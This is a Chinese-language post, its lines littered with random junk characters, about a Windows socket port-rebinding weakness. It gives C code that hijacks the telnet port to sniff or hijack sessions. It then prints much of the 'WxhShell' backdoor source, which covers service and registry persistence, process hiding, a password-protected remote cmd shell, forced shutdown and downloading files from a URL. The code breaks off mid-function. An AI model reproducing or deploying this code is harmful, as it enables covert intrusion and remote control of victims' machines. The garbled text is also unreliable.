在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
6w)a.^yx7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
VHqHG`}: Bw25+l Px saddr.sin_family = AF_INET;
="J *v>
aK33bn'j saddr.sin_addr.s_addr = htonl(INADDR_ANY);
a(oa?OdJ u4vyj#V bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
1V:I}~\ iqr/MB,W 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
omzG/)M:O Z|$M 9E 这意味着什么?意味着可以进行如下的攻击:
x
?24oO 1U6z2i+y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
_kXq0~ K$/&C:,Q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
&$g{i:)Z
liU8OXBl 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
&OsO _F <sli!rv 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
F(KsB5OY? w?:tce 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@A'@%Zv- ?!HU$> 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
O_\%8*; !QSj*)V# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
W.CbNou d J>~ #include
cp$GP*{@ #include
`i<omZ[aT #include
z}w7X6&e #include
#pcgfVl DWORD WINAPI ClientThread(LPVOID lpParam);
W`v$-o- int main()
R9\ )a2 {
Yhte&,D" WORD wVersionRequested;
n#^ii/H DWORD ret;
h?'~/@ WSADATA wsaData;
'e/wjV BOOL val;
B,A,5SuMk SOCKADDR_IN saddr;
dVe,;?+A SOCKADDR_IN scaddr;
%y_{?|+ int err;
TyhO+; SOCKET s;
GRh430V[ SOCKET sc;
50""n7I<% int caddsize;
H)+QkQb} HANDLE mt;
w)C5XX30; DWORD tid;
S#:l17e3 wVersionRequested = MAKEWORD( 2, 2 );
uH]oHh!}j err = WSAStartup( wVersionRequested, &wsaData );
c{
([U if ( err != 0 ) {
rXP~k]tC printf("error!WSAStartup failed!\n");
CorV!H4
return -1;
F:N8{puq5 }
vb6kr?-i* saddr.sin_family = AF_INET;
D$N;Qb l"-Z#[ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
o$Ju\(Y$<+ iD*L<9 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
-}_1f[b saddr.sin_port = htons(23);
$C{,`{= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_ee<i8_Va {
LU/;`In printf("error!socket failed!\n");
EpH_v` return -1;
|'-%d^Z }
F1meftK val = TRUE;
O,JS*jXl //SO_REUSEADDR选项就是可以实现端口重绑定的
GZ^Qt*5 { if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
YPW
UncV {
XY#.?<"Q8 printf("error!setsockopt failed!\n");
mv7W03 return -1;
dXfLN<nD>U }
0j;q^> //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
yd=b!\}WJ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
5] LfJh+"n //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
z]7 /Gc,j E>+>!On)b if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
"T9UedZ {
!2h ZtX ret=GetLastError();
6?'7`p printf("error!bind failed!\n");
t{s*,X\b return -1;
k!Q{u2 }
eR0$CTSw listen(s,2);
DD2K>1A1 while(1)
.+,U9e:% {
Wy%FF\D.Y caddsize = sizeof(scaddr);
6$[7hlE //接受连接请求
U*b7 Pxq; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
zz
/4 ()u if(sc!=INVALID_SOCKET)
3)yL#hXg) {
Ss%1{s~ok mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~Up{zRD"B if(mt==NULL)
4(p`xdr}K {
zy5FO<-> printf("Thread Creat Failed!\n");
n*Uk<_WA break;
.G#li(NWH }
3~VV2O }
bF6J>&]! CloseHandle(mt);
K`2(Q }
yM~bUmSg closesocket(s);
FWA?mde WSACleanup();
$1g1Bn return 0;
C!|LGzs0 }
z;!"i~fFK DWORD WINAPI ClientThread(LPVOID lpParam)
tj$[szo {
s&Y"a,|Z SOCKET ss = (SOCKET)lpParam;
kg
8Dn SOCKET sc;
-Caj>K unsigned char buf[4096];
JQ6M,O SOCKADDR_IN saddr;
?xrOhA9 long num;
7B)1U_L0H DWORD val;
5VJe6i9; DWORD ret;
=J4|"z: //如果是隐藏端口应用的话,可以在此处加一些判断
Ulx]4;uzf //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
fbU3-L? saddr.sin_family = AF_INET;
lLDZ#'&An saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
[}]yJ+) saddr.sin_port = htons(23);
rlD!%gG2x if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*= ?|n {
9!
/kyyU printf("error!socket failed!\n");
a{.q/Tbt return -1;
px"H }
x Ek8oc val = 100;
u>n"FL'e if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
A&bj l[s {
a]T&-#c,} ret = GetLastError();
BjeD4 return -1;
Lm=;Y6'`N }
X fqhD&g if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
fP V n; {
?:ZB'G{%E ret = GetLastError();
}Uwji return -1;
DL?nvH }
Z Cjw)To( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
t:5-Ro {
y;uR@{ printf("error!socket connect failed!\n");
z V\+za, closesocket(sc);
t2s/zxt closesocket(ss);
10i$ b<O return -1;
"J`&"_CyZ }
+l/v`=C while(1)
{BT/P! {
:Ys~Lt54 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
S.)Jp-&K //如果是嗅探内容的话,可以再此处进行内容分析和记录
}&t>j[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
avL_>7q num = recv(ss,buf,4096,0);
r]UF<*$ if(num>0)
V@!)Pw send(sc,buf,num,0);
\1Xk[% else if(num==0)
dniU{v break;
eM:J_>7t num = recv(sc,buf,4096,0);
Iz5NA0[=2 if(num>0)
_BmObXOp. send(ss,buf,num,0);
#5Z`Q^ else if(num==0)
X
3$ W60Q break;
>
'hM"4f }
6FQi=}O 1 closesocket(ss);
8.#{J&h closesocket(sc);
s:Ml\['x return 0 ;
+7^p d9F. }
8&)v%TX 1(Ta*"(0Ip :t{~Mi=T ==========================================================
$KO2+^%y LWN{ 下边附上一个代码,,WXhSHELL
jb-kg</A B-R#?Xn:!I ==========================================================
sa(.Anmlj ~vF a\7sf #include "stdafx.h"
(
%\7dxiK LmePJ #include <stdio.h>
AO$AT_s #include <string.h>
S@FO&o 0 #include <windows.h>
eZLEdTScM #include <winsock2.h>
hlaN'j
<C #include <winsvc.h>
kkF)Tro\ #include <urlmon.h>
]:59c{O ^ RA'E@" #pragma comment (lib, "Ws2_32.lib")
Aw |;C #pragma comment (lib, "urlmon.lib")
}OL"38P `t&{^ a&Y" #define MAX_USER 100 // 最大客户端连接数
@#)` -]g #define BUF_SOCK 200 // sock buffer
"y,YC M` #define KEY_BUFF 255 // 输入 buffer
kg[%Q]] /Hyz]46 #define REBOOT 0 // 重启
&0Yg:{k$ #define SHUTDOWN 1 // 关机
.p&@;fZ *h!fqT%9 #define DEF_PORT 5000 // 监听端口
DH-M|~.sf^ IW3k{z #define REG_LEN 16 // 注册表键长度
%w*)7@,+- #define SVC_LEN 80 // NT服务名长度
fkBL`[v)4 hMDd*<%l // 从dll定义API
h_vTA typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
w +t@G`d typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
hm`=wceK typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
`}}:9d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
:"\,iH RZm%4_p4s // wxhshell配置信息
[@vz0!@s5 struct WSCFG {
CJBf5I3 int ws_port; // 监听端口
-{cHp char ws_passstr[REG_LEN]; // 口令
6Dlm.~G int ws_autoins; // 安装标记, 1=yes 0=no
*?rWS"B char ws_regname[REG_LEN]; // 注册表键名
qd*}d)! char ws_svcname[REG_LEN]; // 服务名
#) aLD0p char ws_svcdisp[SVC_LEN]; // 服务显示名
YAr6cl char ws_svcdesc[SVC_LEN]; // 服务描述信息
xH-d<Ht,7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
/o9T [^\ int ws_downexe; // 下载执行标记, 1=yes 0=no
,^UqE{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
;*<tU
n^t char ws_filenam[SVC_LEN]; // 下载后保存的文件名
c=oDzAzuV\ fFjpQ~0 };
1i y$ n F4EAC|Y // default Wxhshell configuration
I,j4 BU4 struct WSCFG wscfg={DEF_PORT,
mL{P4a 1xf "xuhuanlingzhe",
`Y#At3{ 1,
5Q?Jm~H9 "Wxhshell",
z8Q!~NN-K "Wxhshell",
*qd:f!Q3 "WxhShell Service",
<'a~ Y3B"o "Wrsky Windows CmdShell Service",
Y'iX
"Please Input Your Password: ",
~t`^|cr| 1,
XA>W>| "
http://www.wrsky.com/wxhshell.exe",
<v_=k],W "Wxhshell.exe"
UN]gn>~j };
K,E/.Qe\C ;b$P*dSG} // 消息定义模块
Dqx#i-L23 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
_ E;T"SC char *msg_ws_prompt="\n\r? for help\n\r#>";
Zv u6/# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Z/#_Swv char *msg_ws_ext="\n\rExit.";
w,LtQhQ char *msg_ws_end="\n\rQuit.";
m1"m KM char *msg_ws_boot="\n\rReboot...";
8i# char *msg_ws_poff="\n\rShutdown...";
Rh!UbEPjC char *msg_ws_down="\n\rSave to ";
06&J!,p
: (vs<Fo|] char *msg_ws_err="\n\rErr!";
*'<AwG& char *msg_ws_ok="\n\rOK!";
M!UTqf7XL 'wND char ExeFile[MAX_PATH];
.DCHc,DxA int nUser = 0;
0#,a#P HANDLE handles[MAX_USER];
Ys"wG B> int OsIsNt;
/{i~CGc;" _4ag-'5 SERVICE_STATUS serviceStatus;
F "@% 7xy SERVICE_STATUS_HANDLE hServiceStatusHandle;
x84!/n^z -aoYoJ ' // 函数声明
<$~lFV int Install(void);
[{znwK@ int Uninstall(void);
3db{Tcn\@] int DownloadFile(char *sURL, SOCKET wsh);
w?Te%/s. int Boot(int flag);
Q]:O#;"< void HideProc(void);
g{8RPw] int GetOsVer(void);
#2{-6ey int Wxhshell(SOCKET wsl);
f98,2I(>`+ void TalkWithClient(void *cs);
{f/qI` int CmdShell(SOCKET sock);
f-ltV<C_ int StartFromService(void);
*c0H_8e int StartWxhshell(LPSTR lpCmdLine);
BQ@7^E[ XH%L] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
6K/RO) VOID WINAPI NTServiceHandler( DWORD fdwControl );
U<Pjn)M~B p8rh`7 // 数据结构和表定义
Y[
G_OoU SERVICE_TABLE_ENTRY DispatchTable[] =
]K=#>rZrB {
+#}GmUwPG$ {wscfg.ws_svcname, NTServiceMain},
eA/n.V$z {NULL, NULL}
7FB?t<x };
B VBn.ut ]P4WfV
d // 自我安装
Kb.qv)6i* int Install(void)
D!<F^mtl {
wu41Mz7 char svExeFile[MAX_PATH];
?YhDjQs HKEY key;
L.Y3/H_ strcpy(svExeFile,ExeFile);
JzyCeM = ,UNb#=it // 如果是win9x系统,修改注册表设为自启动
#lYyL`B+~ if(!OsIsNt) {
6EqA Y`y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
TBj 2(Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A~zn; RegCloseKey(key);
cG|fau<G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
U( YAI%O RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+&GV-z~o RegCloseKey(key);
Y-VDi.]W return 0;
]z'&oz }
4>JSZ6i#n }
KkvcZs'4m }
L4By5) else {
<I+k B^ Er dbp\tWaW // 如果是NT以上系统,安装为系统服务
:6n#y-9^1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
E)"19l|}B if (schSCManager!=0)
k[6J;/ {
/]0qI SC_HANDLE schService = CreateService
nzq
(
rTPgHK]?l schSCManager,
J2mHPVA3 wscfg.ws_svcname,
^7gGtz2 wscfg.ws_svcdisp,
zj
6I:Qr SERVICE_ALL_ACCESS,
fPR_3qgQ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
_y@28t SERVICE_AUTO_START,
Y]z
:^D SERVICE_ERROR_NORMAL,
]\E"oZ svExeFile,
+;N]34>S7 NULL,
Q@D7\<t NULL,
r$7. NULL,
&D,Iwq NULL,
AIF?>wgq NULL
{ 3G );
bLqy7S9x if (schService!=0)
agIqca; {
DUp`zW;B CloseServiceHandle(schService);
p{f R$-d CloseServiceHandle(schSCManager);
HJL! ;i strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
,OE&e*1 strcat(svExeFile,wscfg.ws_svcname);
Hon2;-:]{] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
|'^s3i&w RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Nx}nOm RegCloseKey(key);
*PJH&g#Ge return 0;
x|H`%Z }
bA;OphO( }
a:FU- ^B4~ CloseServiceHandle(schSCManager);
`Os=cMR
}
bI):-2&s} }
wu
<0or2 i:lc]B return 1;
0PzSp ] }
qu=~\t1[6 Jo? LPR
\6 // 自我卸载
^q7V%{54 int Uninstall(void)
p`tz*ewC {
S%SYvA HKEY key;
*x36;6~W; -amo8V;2H if(!OsIsNt) {
^y<^hKjV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
E`HoJhB RegDeleteValue(key,wscfg.ws_regname);
-hd RegCloseKey(key);
L.n@;* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i~@gI5[k+ RegDeleteValue(key,wscfg.ws_regname);
^e:z ul{;] RegCloseKey(key);
,K5K?C$k return 0;
H.5
6 }
m=l>8 }
uGU2 }
wNB?3v{n else {
^<;W+dWdU AHf 9H? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
.N(R~_ if (schSCManager!=0)
7e_4sxg'(3 {
~ua(Qm SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
xIdb9hm< if (schService!=0)
JrP`u4f_ {
)gpN
5TDd if(DeleteService(schService)!=0) {
Gu;40)gm CloseServiceHandle(schService);
U/>I! 7oe CloseServiceHandle(schSCManager);
7HkO:/ return 0;
d$ouH%^cGu }
&RR;'wLoQT CloseServiceHandle(schService);
WQ|Ufl; }
\!ZA#7 CloseServiceHandle(schSCManager);
*5'8jC"2g }
o&JoeKXor }
,!=
sGUQ) <ZC.9 return 1;
Kz'GAm\ }
oj 8r* X5WA-s(?0 // 从指定url下载文件
[P2>KQ\ int DownloadFile(char *sURL, SOCKET wsh)
SKG
U)Rn; {
pY&6p~\p HRESULT hr;
3u@,OE char seps[]= "/";
#}A"yo char *token;
={g"cx char *file;
Et6j6gmif char myURL[MAX_PATH];
Ey@^gHku\ char myFILE[MAX_PATH];
h#1:ypA6l [^"}jbn/ strcpy(myURL,sURL);
=?]`Xo,v~ token=strtok(myURL,seps);
,Yag! i>; while(token!=NULL)
qlhc"}5x } {
fTxd8an{ file=token;
FB k7Cn! token=strtok(NULL,seps);
'4,?YcZ?S }
`zoHgn7B9q c |0p'EQ GetCurrentDirectory(MAX_PATH,myFILE);
(Mv~0ShakO strcat(myFILE, "\\");
6 (rm%c strcat(myFILE, file);
5BrN
uR$ send(wsh,myFILE,strlen(myFILE),0);
ju2H0AQ send(wsh,"...",3,0);
ZayJllaq^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Y3@+aA if(hr==S_OK)
~/^fdGr return 0;
!(*&P else
m"L^tSD~ return 1;
LWr YKi ("`"?G }
d=1\= d/K =svFw&q" // 系统电源模块
JMAdsg/ int Boot(int flag)
%[XP}L$ {
&XNt/bK-? HANDLE hToken;
FQek+[ox TOKEN_PRIVILEGES tkp;
uc9h}QJ* 9>{fsy if(OsIsNt) {
+G;<D@gSa0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
h-p}Qil, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
J;sQvPHV8 tkp.PrivilegeCount = 1;
7 [e-3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Q g/Rw4[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
gj|5"'g% if(flag==REBOOT) {
B4 bB`r if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
u<j;+-]8h return 0;
8P]nO+ }
^*jwe^ else {
$H*8H` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
u?V}pYX return 0;
@@ j\OR }
\p:)Cdn }
NG3?OAQTw else {
q,K|1+jn if(flag==REBOOT) {
G
1{m" 1M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
&n*ga$Q return 0;
SY9 5s }
"]3o933D else {
7a[6@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
p$"~vA . return 0;
!S~)U{SSK }
"yymnIQ3u }
Q 1i5"'][ ?C CQm return 1;
cO:lpsKYQ }
;$tdn?| @de ZZ // win9x进程隐藏模块
pZ Uy ( void HideProc(void)
ts=D {
}:?*n:g5 IlF_g` HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
X$<pt,}% if ( hKernel != NULL )
U_jW5mgsG {
Mn5(Kw?o2J pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
yR5XcPoKI ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
}
e w{WD FreeLibrary(hKernel);
,`U>BBBLv }
/$93#$ 7!qeIz return;
N 75U.;U0 }
<j,I@% HFB>0<$ // 获取操作系统版本
e'~Qe_ int GetOsVer(void)
Uhu?G0>O {
8K^#$,.." OSVERSIONINFO winfo;
xlcCL?qQj winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
-qpvVLR, GetVersionEx(&winfo);
;0Uat if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
N[9o6Nl|a return 1;
Ri"rT] ' else
^WU[+H ; return 0;
R;,5LS&*a }
shGUG; _I)TO_L; // 客户端句柄模块
/@Jg [na int Wxhshell(SOCKET wsl)
$[_5:@T%N {
c}v8j2{ SOCKET wsh;
S#CaJ}M struct sockaddr_in client;
Gy+c/gK DWORD myID;
9~^k3!>0 &R/-~w5 while(nUser<MAX_USER)
.WeSU0XG {
%-YWn`yEm int nSize=sizeof(client);
rhYAR r' wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Cm5L99Y if(wsh==INVALID_SOCKET) return 1;
Vh01y f LD{~6RP handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
`4ga~Ch if(handles[nUser]==0)
[6\O
<-? closesocket(wsh);
bs}SFT L else
G(A7=8vW nUser++;
Y8}y0]V }
9k4z__K e WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
p Dg!Cs io"NqR#"v return 0;
zp4@T) }
5T"h7^}e -5os0G80 // 关闭 socket
Ur[ai6LNG void CloseIt(SOCKET wsh)
c.Izm+9k {
{OQ)Np! closesocket(wsh);
uR=*q a nUser--;
/=V!lRs ExitThread(0);
\7UeV:3Ojn }
{
zL4dJw .$f0!`
t // 客户端请求句柄
8\)4waz$ void TalkWithClient(void *cs)
3Zz_wr6 {
sw$JY}Q8x MB5V$toC SOCKET wsh=(SOCKET)cs;
dtQ3iuV % char pwd[SVC_LEN];
'e>'JZR char cmd[KEY_BUFF];
)MV `'i char chr[1];
dXWG`G_ int i,j;
E-X02A @CPkP while (nUser < MAX_USER) {
:3se/4y} 'D[ *|Qcy if(wscfg.ws_passstr) {
XThU+s9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
V[8!ymi0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.K_50%s //ZeroMemory(pwd,KEY_BUFF);
Y3V2} i=0;
C9Cl$yZ while(i<SVC_LEN) {
x wfdJ(& 9e;{o,r@ // 设置超时
7wrRIeES fd_set FdRead;
pNHL &H\ struct timeval TimeOut;
Sw{rNzh%$ FD_ZERO(&FdRead);
)):D&wlq FD_SET(wsh,&FdRead);
\*fXPJ4 TimeOut.tv_sec=8;
OK@yMGz1I TimeOut.tv_usec=0;
5n::]Q%=D int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ju.`c->k" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
x {Rj2~KC ? _[q{i{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
H_iQR9Ak7 pwd
=chr[0]; Kk \,q?
if(chr[0]==0xd || chr[0]==0xa) { *EU1`q*
pwd=0; Pr/q?qZY
break; *P12d
} rv~OfL
i++; ;%AY#b4m
} T[ zEAj
\ 6Y%z
// 如果是非法用户,关闭 socket 6m9\0)R
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DI :
} `'rvDaP
xM&`>`;^e
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4SkCV
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0sq?>$~Kc*
Z4k'c+
while(1) { P?=}}DI
|l~#qeZ%
ZeroMemory(cmd,KEY_BUFF); pSx}:u^am
|UQGZ
// 自动支持客户端 telnet标准 Fp+fZU
j=0; On;7
while(j<KEY_BUFF) { !'bZ|j%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m*AiP]Qu
cmd[j]=chr[0]; `b)i;m
if(chr[0]==0xa || chr[0]==0xd) { BE!WCDg,
cmd[j]=0; =1VpO{q
break; TaG(sRI
} $3Sm?
j++; C9%A?'`
} G Mg|#DV
JGlp7wro
// 下载文件 . N5$s2t
if(strstr(cmd,"http://")) { A2nL=9~
send(wsh,msg_ws_down,strlen(msg_ws_down),0); O2~Q(q'
if(DownloadFile(cmd,wsh)) x,<|<W5<%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T#YJ5Xw
else F@xKL;'N74
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |x ir93 |
} 9+'*
else { ATD4%|a9h
opReAU'I
switch(cmd[0]) { g|{Ru
.V{y9e+
// 帮助 0[-@<w ^j
case '?': { `9DW}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cw;TIx_q
break; \`?4PQ
} |zp}u (N
// 安装 239gpf]}
case 'i': { d?[8VfAnh
if(Install()) GS,}]c=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ye\&_w"
else [58qC:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :W[d&e
break; Tu=~iQ
} fp$U%uj
// 卸载 2()/l9.O'
case 'r': { Y-v6M3$
if(Uninstall()) ^B'N\[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nhB.>ReAi
else TdrRg''@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m>^#:JK
break; BK foeN)%
} VBg
M7d
// 显示 wxhshell 所在路径 A{wSO./3
case 'p': { 5eX+9niY
char svExeFile[MAX_PATH]; 7;ddzxR4
strcpy(svExeFile,"\n\r"); u/HNXJ7M`9
strcat(svExeFile,ExeFile); tf{o=X.)
send(wsh,svExeFile,strlen(svExeFile),0); ;/(<yu48
break; )VkH':yCM
} bx3kd+J7
// 重启 o+T, O+i
case 'b': { g-2(W
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hg+bmwM
if(Boot(REBOOT)) 8^qLGUxz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dp;6CGYl?
else { oN.#q$\` k
closesocket(wsh); RA:3ZV
ExitThread(0); e8hwXz
} >^adxXw.o
break; 82w=t
} $+w -r#,
// 关机 fsV_>5I6
case 'd': { *|.-y->
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a(K^/BT
if(Boot(SHUTDOWN)) ]= 9^wS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j.g9O]pi
else { 71k>_'fl
closesocket(wsh); x|A{|oFC
ExitThread(0); 6iJ\7
} 'n7Ld6%1
break; 7HEUmKb"
} Kw&t\},8@
// 获取shell @<=<?T>1
case 's': { 0`kaT
?>
CmdShell(wsh); K7]+. f
closesocket(wsh); *l8:%t\
ExitThread(0); F44KbUH
break; hdy
N
} -e_L2<7
// 退出 Mzj|57:gx
case 'x': { "S0WFP\P+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ??? ;H
CloseIt(wsh); +IbQVU~/
break; ivP#qM1*;
} j#
!U6T
// 离开 [UYE.$Y#(
case 'q': { PG'+vl
send(wsh,msg_ws_end,strlen(msg_ws_end),0); kTS#>uS
closesocket(wsh); HpR(DG)
?
WSACleanup(); nB#XQ8Nzx^
exit(1); nrRP1`!]T
break; ;Km74!.e7
} f]]UNS$AYQ
} vUgMfy&
} J4q_}^/2w
fV5MI[t
// 提示信息 C?7I(b:
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Z:qlYZ
} tF~D!t@
} o_on/{qz
{_>}K
return; .WTar9e#
} 4{Af 3N
qI5`:PH%n
// shell模块句柄 K_[B@( Xl
int CmdShell(SOCKET sock) 5!iBKOl#D
{ a X:,1^
STARTUPINFO si; /nVGr]t_pj
ZeroMemory(&si,sizeof(si)); |lVoL.Z,0
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _*LgpZ-2(
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NaYr$`
PROCESS_INFORMATION ProcessInfo; MXGz_Db4'
char cmdline[]="cmd"; &WoS(^
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kz2s{y~?
return 0; s|o+
Im
} 4~mmP.c
^Qa!{9o[
// 自身启动模式 nypG
int StartFromService(void) 0XUWK@)P
{ y6N }R
typedef struct hSF4-Vvb
{ O}mz@-Z
DWORD ExitStatus; 7':qx}c#!1
DWORD PebBaseAddress; db5@+_
DWORD AffinityMask; )|`|Usn#[
DWORD BasePriority; M
Qlx&.>
